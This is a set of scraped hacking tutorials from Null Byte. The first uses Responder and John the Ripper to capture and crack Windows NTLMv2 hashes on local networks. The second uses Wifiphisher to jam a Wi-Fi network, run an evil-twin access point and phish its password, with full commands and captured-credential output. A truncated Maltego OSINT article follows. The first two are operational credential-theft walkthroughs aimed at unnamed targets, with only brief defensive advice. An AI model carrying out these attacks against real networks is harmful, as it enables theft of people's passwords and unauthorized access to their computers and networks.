Hashes containing login passwords are transmitted between Windows computers on local Wi-Fi networks. By intercepting and decrypting these hashes using Responder and John the Ripper, respectively, we can learn a target's login credentials which can be later used to gain physical access to their computer.Why This Attack Is PossibleWhile communicating with other devices on a local network, Windows will use theLink-Local Multicast Name Resolution(LLMNR) protocol to perform hostname resolutions for devices on the local network. Any legitimate client on the local network can interact with the LLMNR protocol to assist Windows in resolving the hostname of another device on the network.The vulnerability lies in Windows' willingness to accept responses from any device on the network — even if the response is incorrect. There's no validation designed into the LLMNR protocol, which makes this vulnerability very easy to abuse.The attacker's machine will listen on the local network for LLMNR requests originating from the target Windows computer andrespondto the request. Believing the response is real, the Windows computer will attempt to negotiate a domain session with that server, sending the user's domain password in NTLMv2 hash format.The NTLM hashes used by LLMNR are highly valuable to attackers on the network.What Is NTLMv2?NTLMcredentials are based on data obtained during the interactive logon process and consist of a domain name, a username, and aone-way hashof the user's password. NTLM uses an encrypted protocol to authenticate a user without sending the user's password in plaintext over the network.Don't Miss:'Beast' Cracks Billions of Passwords in SecondsNTLM version 2 (NTLMv2), introduced into Windows operating systems in the late '90s, enhances NTLM security by hardening the protocol against many spoofing attacks and cryptographically strengthening the hashing algorithm to prevent brute-force attacks.Unfortunately, theHMAC-MD5hashing algorithm used by NTLMv2 is still highly susceptible to brute-forcing attacks, allowing for tens of millions of password attempts per minute — even when the attack is performed using older computers and Raspberry Pis.Step 1: Install & Use ResponderTo begin the attack, the NTLMv2 hash will need to be acquired from the target computer. This can be done usingResponder, a command line tool created bySpiderLabsandLaurent Gaffie, which is capable of sniffing and poisoningLLMNR,NBT-NS, andmDNSresponses. Responder is used to interact with Windows computers on the local network and capture NTLMv2 hashes transmitting from the target device.The tool can be found in theKali Linuxrepositories. To ensure the latest available version is installed, useapt-getupdatefirst before installing Responder. This can be achieved using the below commands, entered one by one.apt-get updateapt-get install responderWhen that's done, the--helpargument can be used to view Responder's available options.To start Responder, the below command can be used.responder -I wlan0If the built-in wireless card is being used to connect to the target wireless network, "wlan0" is most likely the name of the interface being used. The-Iargument is the only required argument to use Responder. The interface name can be found using theifconfigcommand.The Responder terminal will go into a "listening" state where it will respond to LLMNR requests happening on the local network. When the NTLMv2 hash belonging to the target Windows computer is discovered, Responder will print the hash in the terminal.The entire hash (highlighted in red) should be saved locally. This can be done usingnanoand saved to a file called "hash.txt."nano hash.txtNano can be closed and saved by pressingCtrl+X, thenY, thenEnter/Return.Step 2: Install John the RipperBrute-forcing the discovered hash is the final test of this attack, and for that, we'll be usingJohn the Ripper, a CPU-basedpassword cracker, currently available in most popular Linux distributions such as Kali Linux andParretSec.Don't Miss:How to Crack User Passwords in a Linux System with John the RipperJohn the Ripper's primary purpose is to detect weak passwords by performing a variety of brute-force attacks against common hash and encryption algorithms like password-protected ZIP files, PuTTY SSH private keys, encrypted Firefox password cache databases, macOS Keychains, Windows 10 NTLMv2 hashes, and much more.John the Ripper (referred to as onlyjohnfrom the command line) can be installed using the below command.apt-get install johnJohn the Ripper supports a wide range of hashing and encryption algorithms. The-testand-formatarguments can be used to benchmark John's cracking speed to determine how many NTLMv2 passwords a computer can attempt per second during brute-force attacks.john -test -format:netntlmv2To view benchmarks for all of the available hashing algorithms supported by John the Ripper, simply use-testwith no additional arguments.john -testStep 3: Brute-Force NTLMv2 Hashes with John the RipperThere are two ways you can go about doing this — the fast way and the slow way. Each way has its benefits and downsides, but it's good to know how each works regardless.Option 1: Use Wordlists to Crack the Hash (Fast)Using a wordlist against an NTLMv2 hash will likely process in a very short period of time. I found that John was able to process over 10,000,000 passwords in under 20 seconds. This is because NTLMv2 utilizes a weak hashing algorithm which fails to provide a reasonable degree of security. Even using older Intel CPUs, John is able to process millions of passwords in a very short period of time.To specify a desired wordlist for the brute-force attack, use the-wordlistargument.john -wordlist:passwords.txt hash.txtWhen a hash has been successfully cracked, it will appear in the terminal alongside the username associated with the hash. On my Windows 10 virtual machine,nullbyteis the password andIEUseris the username.Alternately, the hash can always be viewed again using the--showargument with the path to the file containing the hash.Option 2: Use John's Mask Mode to Crack the Hash (Slow)For readers with dedicated brute-forcing hardware or Raspberry Pis which can brute-force for days (or weeks) without being interrupted, John's "Mask Mode" may offer a more comprehensive solution.Mask mode allows for a more complete and thorough brute-force of the possible characters in a password. For example, "Password23" will likely be found in most brute-forcing wordlists, but "Pzzw1rD" will not. Using mask mode, John can try every possible character and number between A and Z, and 0 and 9, respectively.By default, John has pre-definedcharacter sets built-in. The character sets are as follows:?l = abcdefghijklmnopqrstuvwxyz?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ?d = 0123456789Password analytics based on leaked databasestell us that most passwords will be between six and eight characters and mostly consist of lowercase letters. This can be represented using the-maskargument and?loption as shown in the below command.john -mask=?l?l?l?l?l?l?l?l hash.txtEach "?l" represents one character in the password. The "l" here literally means "lowercase." A mask containing only uppercase letters will use "?u" instead.john -mask=?u?u?u?u?u?u?u?u?u hash.txtCombining masks character sets is also possible.john -mask=?u?l?l?l?l?l?l?l hash.txtAs mentioned previously, most passwords are between six and eight characters long. To save some time while performing brute-force attacks, a minimum word length can be enforced by using the-min-lenargument.john -mask=?u?l?l?l?l?l?l?l -min-len=6 hash.txtTo append digits to the end passwords, the?doption can be used.john -mask=?u?l?l?l?l?l?d?d -min-len=6 hash.txtTo view John's progress while the brute-force is still running, theDownarrow on the keyboard can be pressed to print information related to the brute-force and completion details.Don't Miss:John the Ripper Cheat Sheet by Luis Rocha (PDF)Readers with a greater interest in improving the speed of their brute-force attacks should exploreHashcatandGPU-based brute-forceattacks.Protect Yourself from Responder & Brute-Force AttacksPreventing these types of attacks isn't very easy, and there's only a few surefire things you can do to limit or eradicate your exposure.Use a stronger password.The weak hashing algorithm utilized by NTLMv2 means passwords upwards of 16 characters in length will propose a minor challenge for attacker's with dedicated brute-forcing machines at their disposal. Use of long, complex passwords is required here in order to combate local attackers.Disable LLMNR and NBT-NT protocols.The Windows protocols are literallyaskingto be compromised.Disable LLMNRanddisable NBT-NSif possible.Don't Miss:How to Create Stronger Passwords (Advice from a Real Hacker)Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Justin Meyers/Null Byte; Screenshots by tokyoneon/Null ByteRelatedHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Intercept Images from a Security Camera Using WiresharkHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsPSA:You Can Run Windows 10 Without a Microsoft AccountHow To:Recover Forgotten Wi-Fi Passwords in WindowsHow To:Find Saved WiFi Passwords in WindowsNews:Flawed Laptop Fingerprint Readers Make Your Windows Password Vulnerable to HackersHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Intercept Security Camera Footage Using the New Hak5 Plunder BugHow To:Use Acccheck to Extract Windows Passwords Over NetworksHow To:Identify Missing Windows Patches for Easier ExploitationHow To:Hack a Windows 7/8/10 Admin Account Password with Windows MagnifierHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Hack WPA wireless networks for beginners on Windows and LinuxHow To:Remove a Windows Password with a Linux Live CDHow To:Add Ctrl+Alt+Delete to Windows 7 LogonHow To:Bypass Windows and Linux PasswordsHow To:Recover a Windows Password with OphcrackHow To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:log on Windows 7 with username & passwordHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Carve Saved Passwords Using CainUncrackable File Sharing:Securely Transfer Your Secrets with 4096-Bit EncryptionHow To:Bypass a Local Network Proxy for Free InternetNews:Unmasked caller IDNews:Unmasked caller IDHow To:Reveal Saved Browser Passwords with JavaScript InjectionsNews:Windows Live SkyDriveHow To:Encrypt Your Sensitive Files Using TrueCryptHow To:Make a Gmail Notifier in PythonNews:VARIOUS WINDOWS ISSUES RESOLVED BELOW...How To:Sneak into Your Roommate's Computer by Bypassing the Windows Login Screen
How to Hack Wi-Fi: Get Anyone's Wi-Fi Password Without Cracking Using Wifiphisher « Null Byte :: WonderHowTo
Whilepassword crackingandWPS setup PIN attacksget a lot of attention, social engineering attacks are by far the fastest way ofobtaining a Wi-Fi password. One of the most potent Wi-Fi social engineering attacks is Wifiphisher, a tool that blocks the internet until desperate users enter the Wi-Fi password to enable a fake router firmware update.Social engineering attacksare powerful because they often completely bypass security. If you can trick an employee into entering a password into a fake login page, it doesn't matter how strong the password is. It's the opposite of cracking attacks, where you're using a computer's processing power to try a giant list of passwords quickly. But you cannot succeed if the password you are attacking is secure and not included in your password list.Don't Miss:Cracking WPA2 Passwords Using the PMKID Hashcat AttackNot knowing how strong the password you're attacking is can be frustrating, because investing the time and processing power involved in a dictionary or brute-force attack can make coming up dry feel like a massive waste of resources. Instead, tools like Wifiphisher ask questions about the people behind those networks.Does the average user know what their Wi-Fi router's login page looks like? Would they notice if it was different? More importantly, would a busy user, cut off from the internet and stressed out but the disruption, still enter their password to enable a fake update even if they noticed the login page looked a little different?Wifiphisher believes the answer is "yes." The tool can select any nearby Wi-Fi network, de-authenticate all users (jam it), and create a cloned access point that requires no password to join. Any user that connects to theevil twin-like open network is served a convincing-looking phishing page demanding the Wi-Fi password to enable a firmware update, which is explained as the reason the Wi-Fi has stopped working.The Firmware Update from HellTo the target of a social engineering attack, the first signs of Wifiphisher look like a problem with the router. First, the Wi-Fi cuts out. They can still see the network, but every attempt to connect to it immediately fails. Other devices are unable to connect to the network as well, and they begin to notice that not just one device, but every Wi-Fi device, has lost connection to the network.That's when they notice a new network, with the same name as the old network, but requiring no password. After a few more attempts to join the protected network, they join the open network out of concern that their router is suddenly broadcasting a network without a password that anyone can join. As soon as they join, an official-looking webpage mentioning their router's manufacturer opens and informs them that the router is undergoing a critical firmware update. Until they enter the password to apply the update, the internet will not work.Don't Miss:Track Wi-Fi Devices & Connect to Them Using ProbequestAfter entering the super-secure Wi-Fi password, a loading screen begins to crawl across the screen as the router restarts, and they feel a little proud for taking their router's security seriously by installing this critical update. After a minute of waiting, their devices reconnect to the network, now more secure thanks to the update installed.Easy Access with a Bossy UpdateTo a hacker, obtaining the passwords is as simple as selecting which network you want to target. After designating a target, Wifiphisher immediately jams all devices connected to the network, maximizing the chance that someone connected to the network gets frustrated and applies the fake update. Next, the target's network information is cloned, and the fake Wi-Fi network is broadcast to make the target think their router is operating in some unspecified update mode.Don't Miss:The Best Wireless Network Adapter for Wi-Fi HackingDevices connecting are immediately logged on a list, and the phishing page is tailored to match the manufacturer of the router by reading the first portion of the router's MAC address. After tricking any one of the targets connected to the targeted network into entering the password, Wifiphisher informs the hacker while stalling for time. After sending the captured password, the target is cruelly occupied with both a fake update loading screen and fake reboot timer to buy time for the hacker to test the captured password.What You'll NeedFor this attack to work, you'll need aKali Linux compatible wireless network adapter. If you're not sure about which to pick,check out oneof our guideson selecting one that supports monitor mode and packet injection in the link below.More Info:Select a Field-Tested Kali Linux Compatible Wireless AdapterFrom left to right starting from top:Alfa AWUS036NH;Alfa AWUS051NH;TP-LINK TL-WN722N;Alfa AWUS036NEH;Panda PAU05;Alfa AWUS036H;Alfa AWUS036NHA.Image by Kody/Null ByteAside from a good wireless network adapter, you'll need a computer runningKali Linux, which you should first update by runningapt updateandapt upgrade. If you don't do this, you will very likely run into problems during the Wifiphisher installation process below.Step 1: Install WifiphisherTo get started, we can open a terminal window and typeapt install wifiphisherto install Wifiphisher.~# apt install wifiphisher Reading package lists... Done Building dependency tree Reading state information... Done wifiphisher is already the newest version (1.4+git20191215-0kali1). The following packages were automatically installed and are no longer required: dh-python libdouble-conversion1 liblinear3 Use 'apt autoremove' to remove them. 0 upgraded, 0 newly installed, 0 to remove and 1891 not upgraded.If you want to try installing it fromthe GitHub repo, you can do so by cloning the repository and following the instructions on the GitHub page, as such:~# git clone https://github.com/wifiphisher/wifiphisher.git ~# cd wifiphisher ~# sudo python setup.py installThis should install Wifiphisher, which you can start by just typing the name of the program in a terminal window from now on.Step 2: Review Wifiphisher's FlagsYou should be able to run the script at any time by simply typingsudo wifiphisherin a terminal window. While Wifiphisher has no manual page, you can see in its--helppage that it has a pretty impressive list of configuration options you can change by adding various flags to the command.~# wifiphisher --help usage: wifiphisher [-h] [-i INTERFACE] [-eI EXTENSIONSINTERFACE] [-aI APINTERFACE] [-iI INTERNETINTERFACE] [-iAM MAC_AP_INTERFACE] [-iEM MAC_EXTENSIONS_INTERFACE] [-iNM] [-kN] [-nE] [-nD] [-dC DEAUTH_CHANNELS [DEAUTH_CHANNELS ...]] [-e ESSID] [-dE DEAUTH_ESSID] [-p PHISHINGSCENARIO] [-pK PRESHAREDKEY] [-hC HANDSHAKE_CAPTURE] [-qS] [-lC] [-lE LURE10_EXPLOIT] [--logging] [-dK] [-lP LOGPATH] [-cP CREDENTIAL_LOG_PATH] [--payload-path PAYLOAD_PATH] [-cM] [-wP] [-wAI WPSPBC_ASSOC_INTERFACE] [-kB] [-fH] [-pPD PHISHING_PAGES_DIRECTORY] [--dnsmasq-conf DNSMASQ_CONF] [-pE PHISHING_ESSID] optional arguments: -h, --help show this help message and exit -i INTERFACE, --interface INTERFACE Manually choose an interface that supports both AP and monitor modes for spawning the rogue AP as well as mounting additional Wi-Fi attacks from Extensions (i.e. deauth). Example: -i wlan1 -eI EXTENSIONSINTERFACE, --extensionsinterface EXTENSIONSINTERFACE Manually choose an interface that supports monitor mode for deauthenticating the victims. Example: -eI wlan1 -aI APINTERFACE, --apinterface APINTERFACE Manually choose an interface that supports AP mode for spawning the rogue AP. Example: -aI wlan0 -iI INTERNETINTERFACE, --internetinterface INTERNETINTERFACE Choose an interface that is connected on the InternetExample: -iI ppp0 -iAM MAC_AP_INTERFACE, --mac-ap-interface MAC_AP_INTERFACE Specify the MAC address of the AP interface -iEM MAC_EXTENSIONS_INTERFACE, --mac-extensions-interface MAC_EXTENSIONS_INTERFACE Specify the MAC address of the extensions interface -iNM, --no-mac-randomization Do not change any MAC address -kN, --keepnetworkmanager Do not kill NetworkManager -nE, --noextensions Do not load any extensions. -nD, --nodeauth Skip the deauthentication phase. -dC DEAUTH_CHANNELS [DEAUTH_CHANNELS ...], --deauth-channels DEAUTH_CHANNELS [DEAUTH_CHANNELS ...] Channels to deauth. Example: --deauth-channels 1,3,7 -e ESSID, --essid ESSID Enter the ESSID of the rogue Access Point. This option will skip Access Point selection phase. Example: --essid 'Free WiFi' -dE DEAUTH_ESSID, --deauth-essid DEAUTH_ESSID Deauth all the BSSIDs in the WLAN with that ESSID. -p PHISHINGSCENARIO, --phishingscenario PHISHINGSCENARIO Choose the phishing scenario to run.This option will skip the scenario selection phase. Example: -p firmware_upgrade -pK PRESHAREDKEY, --presharedkey PRESHAREDKEY Add WPA/WPA2 protection on the rogue Access Point. Example: -pK s3cr3tp4ssw0rd -hC HANDSHAKE_CAPTURE, --handshake-capture HANDSHAKE_CAPTURE Capture of the WPA/WPA2 handshakes for verifying passphraseExample : -hC capture.pcap -qS, --quitonsuccess Stop the script after successfully retrieving one pair of credentials -lC, --lure10-capture Capture the BSSIDs of the APs that are discovered during AP selection phase. This option is part of Lure10 attack. -lE LURE10_EXPLOIT, --lure10-exploit LURE10_EXPLOIT Fool the Windows Location Service of nearby Windows users to believe it is within an area that was previously captured with --lure10-capture. Part of the Lure10 attack. --logging Log activity to file -dK, --disable-karma Disables KARMA attack -lP LOGPATH, --logpath LOGPATH Determine the full path of the logfile. -cP CREDENTIAL_LOG_PATH, --credential-log-path CREDENTIAL_LOG_PATH Determine the full path of the file that will store any captured credentials --payload-path PAYLOAD_PATH Payload path for scenarios serving a payload -cM, --channel-monitor Monitor if target access point changes the channel. -wP, --wps-pbc Monitor if the button on a WPS-PBC Registrar is pressed. -wAI WPSPBC_ASSOC_INTERFACE, --wpspbc-assoc-interface WPSPBC_ASSOC_INTERFACE The WLAN interface used for associating to the WPS AccessPoint. -kB, --known-beacons Broadcast a number of beacon frames advertising popular WLANs -fH, --force-hostapd Force the usage of hostapd installed in the system -pPD PHISHING_PAGES_DIRECTORY, --phishing-pages-directory PHISHING_PAGES_DIRECTORY Search for phishing pages in this location --dnsmasq-conf DNSMASQ_CONF Determine the full path of a custom dnmasq.conf file -pE PHISHING_ESSID, --phishing-essid PHISHING_ESSID Determine the ESSID you want to use for the phishing pageStep 3: Plug in Your Wireless Network AdapterNow is the time to prepare the wireless network adapter by plugging it in. Wifiphisher will put your card into wireless monitor mode for you if you don't do so yourself.Good Long-Range Adapter on Amazon:Alfa AWUS036NHA Wireless B/G/N USB Adapter - 802.11n - 150 Mbps - 2.4 GHz - 5 dBi AntennaStep 4: Run the ScriptI'm going to use my USB wireless network adapter, so I'll add an-iflag to the command and add the name of my network adapter. If I don't, Wifiphisher will just grab whatever network adapter it can.Don't Miss:The Beginner's Guide to Defending Against Wi-Fi HackingTo start the script, I'll run the following command.~# wifiphisher -i wlan1Afterward, we should see a page showing every nearby network. We can select which network we want to attack here, and pressEnter.Options: [Esc] Quit [Up Arrow] Move Up [Down Arrow] Move Down ESSID BSSID CH PWR ENCR CLIENTS VENDOR _________________________________________________________________________________________ │ Probe Team CIC.m ██████████████ ███ 100% OPEN 0 Unknown │ │ ██████████████ ██████████████ ███ 100% WPA2 2 Belkin International │ │ █████████████ ██████████████ ███ 98% WPA2 0 Unknown │ │ ██████████████████ ██████████████ ███ 94% WPA2 6 Arris Group │ │ ████████████ ██████████████ ███ 86% WPA2/WPS 1 Unknown │ │ █████████████ ██████████████ ███ 78% WPA2/WPS 3 Belkin International │ │ ███████████ ██████████████ ███ 78% WPA2/WPS 0 Asustek Computer │ │ ████████████ ██████████████ ███ 78% WPA2/WPS 4 Hon Hai Precision Ind. │ │ ██████████████████ ██████████████ ███ 74% WPA2/WPS 0 Hon Hai Precision Ind. │ │ ████████████ ██████████████ ███ 74% WPA2 0 Unknown │ │ █████████████ ██████████████ ███ 74% WPA2/WPS 2 Technicolor CH USA │ │ ████████████ ██████████████ ███ 70% WPA2/WPS 1 Technicolor CH USA │ │ ███████████ ██████████████ ███ 70% WPA2 0 Unknown │ │ █████████████ ██████████████ ███ 90% WPA2 0 Unknown │ │ ████████████ ██████████████ ███ 66% WPA2 0 Unknown │ │ ████████████ ██████████████ ███ 66% WPA2/WPS 0 Hon Hai Precision Ind. │ │ ████████████ ██████████████ ███ 62% WPA2/WPS 2 Asustek Computer │ │ ███████████████ ██████████████ ███ 62% WPA2/WPS 3 Unknown │ │ █████████████ ██████████████ ███ 62% WPA2/WPS 0 Hon Hai Precision Ind. │ │ ████████████ ██████████████ ███ 58% WPA2/WPS 0 Hon Hai Precision Ind. │ │ █████████████ ██████████████ ███ 58% WPA2/WPS 0 Unknown │ │ ████████████████ ██████████████ ███ 58% WPA2 0 Unknown │ │ █████████████ ██████████████ ███ 58% WPA2/WPS 0 Hon Hai Precision Ind. │ │ ██████████ ██████████████ ███ 54% WPA2/WPS 0 Arris Group │ │ ██████████ ██████████████ ███ 46% WPA2 0 Tp-link Technologies │ │ ██████████████████ ██████████████ ███ 46% WPA2/WPS 0 Asustek Computer │ —————————————————————————————————————————————————————————————————————————————————————————Next, the script will ask what attack you want to run. Select option 2.Options: [Esc] Quit [Up Arrow] Move Up [Down Arrow] Move Down Available Phishing Scenarios: 1 - Network Manager Connect Imitates the behavior of the network manager. This template shows Chrome's "Connection "Failed" page and displays a network manager window through the page asking for the pre-shared key. Currently, the network managers of Windows and MAC OS are supported. 2 - Firmware Upgrade Page A router configuration page without logos or brands asking for WPA/WPA2 password due to a firmware upgrade. Mobile-friendly. 3 - OAuth Login Page A free Wi-Fi Service asking for Facebook credentials to authenticate using OAuth 4 - Browser Plugin Update A generic browser plugin update page that can be used to serve payloads to the victims.After selecting the attack, it will immediately launch. A page will open to monitor for targets joining the network. Wifiphisher will also listen for devices trying to connect to networks that aren't present, and it will create fake versions to lure those devices into connecting.Extensions feed: │ Wifiphisher 1.4GIT DEAUTH/DISAS - ██████████████████ │ ESSID: DEAUTH/DISAS - ██████████████████ │ Channel: 11 │ AP interface: wlan1 │ Options: [ESC] Quit │_________________________ Connected Victims: HTTPS requests:After a target joins, a pop-up will demand they enter the password.When the target enters the password, we're notified in the Wifiphisher screen.Extensions feed: DEAUTH/DISAS - ██████████████████ DEAUTH/DISAS - ██████████████████ DEAUTH/DISAS - ██████████████████ Victim ██████████████████ probed for WLAN with ESSID: 'FakeNed' (KARMA) Victim ██████████████████ probed for WLAN with ESSID: 'Harmond Fernandez' (Evil Twin) Connected Victims: ██████████████████ 10.0.0.13 Apple iOS/MacOS ██████████████████ 10.0.0.29 Murata Manufacturing HTTPS requests: [*] GET request from 10.0.0.13 for http://captive.apple.com/hotspot-detect.html [*] GET request from 10.0.0.13 for http://captive.apple.com/hotspot-detect.html [*] GET request from 10.0.0.13 for http://captive.apple.com/hotspot-detect.html [*] POST request from 10.0.0.13 with wfphshr-wpa-password=myfatpassword [*] GET request from 10.0.0.13 for http://captive.apple.com/hotspot-detect.htmlThat's it! The script will exit and present you with the password you just captured.[*] Starting Wifiphisher 1.4GIT ( https://wifiphisher.org ) at 2020-02-04 08:10 [+] Timezone detected. Setting channel range to 1-13 [+] Selecting wfphshr-wlan0 interface for the deauthentication attack [+] Selecting wlan1 interface for creating the rogue Access Point [+] Changing wlan1 MAC addr (BSSID) to 00:00:00:31:8c:e5 [!] The MAC address could not be set. (Tried 00:00:00:ee:5c:95) [+] Sending SIGKILL to wpa_supplicant [+] Sending SIGKILL to dhclient [+] Sending SIGKILL to dhclient [+] Sending SIGKILL to NetworkManager [*] Cleared leases, started DHCP, set up iptables [+] Selecting Firmware Upgrade Page template [*] Starting the fake access point... [*] Starting HTTP/HTTPS server at ports 8080, 443 [+] Show your support! [+] Follow us: https://twitter.com/wifiphisher [+] Like us: https://www.facebook.com/Wifiphisher [+] Captured credentials: wfphshr-wpa-password=myfatpassword [!] ClosingJust like that, you've bypassed any password security and tricked a user into entering the Wi-Fi password into your fake network. Even worse, they're still stuck behind this horrible slow-moving, fake loading screen.If you're looking for a cheap, handy platform to get started working with Wifipfisher, check outour Kali Linux Raspberry Pi buildusingan inexpensive Raspberry Pi.Image by Kody/Null ByteI hope you enjoyed this guide to social engineering attacks using Wifiphisher! If you have any questions about this tutorial capturing Wi-Fi passwords or you have a comment, do so below, and feel free to reach me on [email protected] Started Hacking Today:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Justin Meyers/Gadget Hacks; Screenshots by Kody/Null ByteRelatedHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Hack Wi-Fi Networks with BettercapHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Automate Wi-Fi Hacking with Wifite2How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Recover a Lost WiFi Password from Any DeviceHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Share Any Password from Your iPhone to Other Apple DevicesHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersAndroid Basics:How to Connect to a Wi-Fi NetworkVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet!News:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Crack Wi-Fi Passwords—For Beginners!How To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Find Saved WiFi Passwords in WindowsHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Recover Forgotten Wi-Fi Passwords in WindowsHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:You No Longer Have to Open Settings to Switch & Connect to Wi-Fi on Your iPhone (FINALLY!)
Video: How to Use Maltego to Research & Mine Data Like an Analyst « Null Byte :: WonderHowTo
So much information exists online that it's easy to get lost in data while researching. Understanding the bigger picture can take a lot of time and energy, but narrowing the question to one that's easy to answer is the first step of any investigation. That's why analysts use open-source intelligence (OSINT) tools likeMaltego— to help refine raw data into a complete understanding of a situation.In this tutorial, we'll explore how to conduct an investigation using Maltego, which allows a researcher, pentester, or white hat hacker to mine huge amounts of data to visually discover patterns and answer critical questions.Null Byte has been holding a series of workshops for computer science college students in Pasadena, California, called "Cyber Weapons Lab." This lab focuses on exploring cyberweapons and the tools used in cyber conflicts around the world. One recent session focused on how OSINT professionals use tools like Maltego for reconnaissance and how these skills can be used for hacking or in industries like business intelligence.Don't Miss:How to Use Maltego to Do Network ReconnaissanceWhile recon is the first stage of any attack, it's important to note that these same skills are used by analysts in the public and private sector, like business intelligence, to help investors and businesses make important decisions. Many businesses pay a lot of money for the same kind of research skills hackers employ while assessing a target, so learning to be a good researcher can be a powerful fallback skill in life.Why Search Like an OSINT AnalystOur talk in the video below focuses on ways the average person can use tools like Maltego to conduct an investigation to get an advantage in job interviews, secure investors for a business project, or assess a competitor or potential partner before making a decision. Of course, these skills are also the same core research skills you will need to identify and profile a target in a pentesting engagement.These are powerful skills that will apply to many situations, so learning to turn data into understanding will expand your ability to learn anything with speed that will surprise everyone around you. You can check out our talk in the video below,and subscribe to the Null Byte YouTube channel for more.Good research revolves around the ability to ask an answerable question, refine your search to find the right data to answer it, and process the raw information into actionable intelligence.Intelligence is data that has been processed with context and understanding to produce meaning and is the difference between the refined product (like a report) of an OSINT investigation and the raw data points that support that understanding.Without context, data is not useful, so simply finding a lot of data does not make you a good researcher.Through using the intelligence collection cycle, we can plan ahead and avoid getting lost in the powerful tools that can return tons of data. If we don't have a firm idea of what we're searching for, we're likely to get swept away from the original point of our search.The point of intelligence is to plan your collection, find the right information, process and clean the information to begin building a picture, analyze the results, and turn that understanding into a report others can learn from.To demonstrate this process, let's conduct an investigation using Maltego CE, the free edition of Maltego.Step 1: Download Maltego CEMaltego is a program for mining data from all over the internet and displaying the relationships in an easy-to-understand graph that makes patterns very obvious. It features the ability to expand on a single piece of known information to a huge network of related data in a few simple clicks.Don't Miss:How to Find Vulnerabilities for Any Website Using NiktoMaltego is great at taking something like a screen name or email address and discovering everything there is to learn about related accounts or appearances on the internet in seconds. To get started, you candownload it from Paterva, the company responsible for Maltego.Because of how much data people share about themselves and others, Maltego and tools like it can be used to track people, groups, companies, or other organizations rather invasively. These tools pull huge amounts of data from APIs, apply "transform" algorithms to analyze and mine the data, and present the findings in a simple and easy-to-understand graphical view.Don't Miss:Reconnaissance with Recon-Ng, Part 1 (Getting Started)This kind of power and flexibility allows us to make some very specific questions answerable in a matter of clicks. After downloading Maltego, go through the guided installation and registration process to get a CE license key, and you'll be ready to begin your first investigation.Start Maltego and input your license key, and then, from the main screen pressCtrl + T(orCommand + Ton macOS) to open a new, empty tab. On the left side, you'll see the "entities" panel with a list of all the different kinds of data you can add to start with.Step 2: Conduct an InvestigationFor our test example, we decided to see if we could identify employees of The Guardian, a news outlet, who had their accounts compromised in data breaches. While this is a tricky question for Google to answer, we can stop relying on secondary 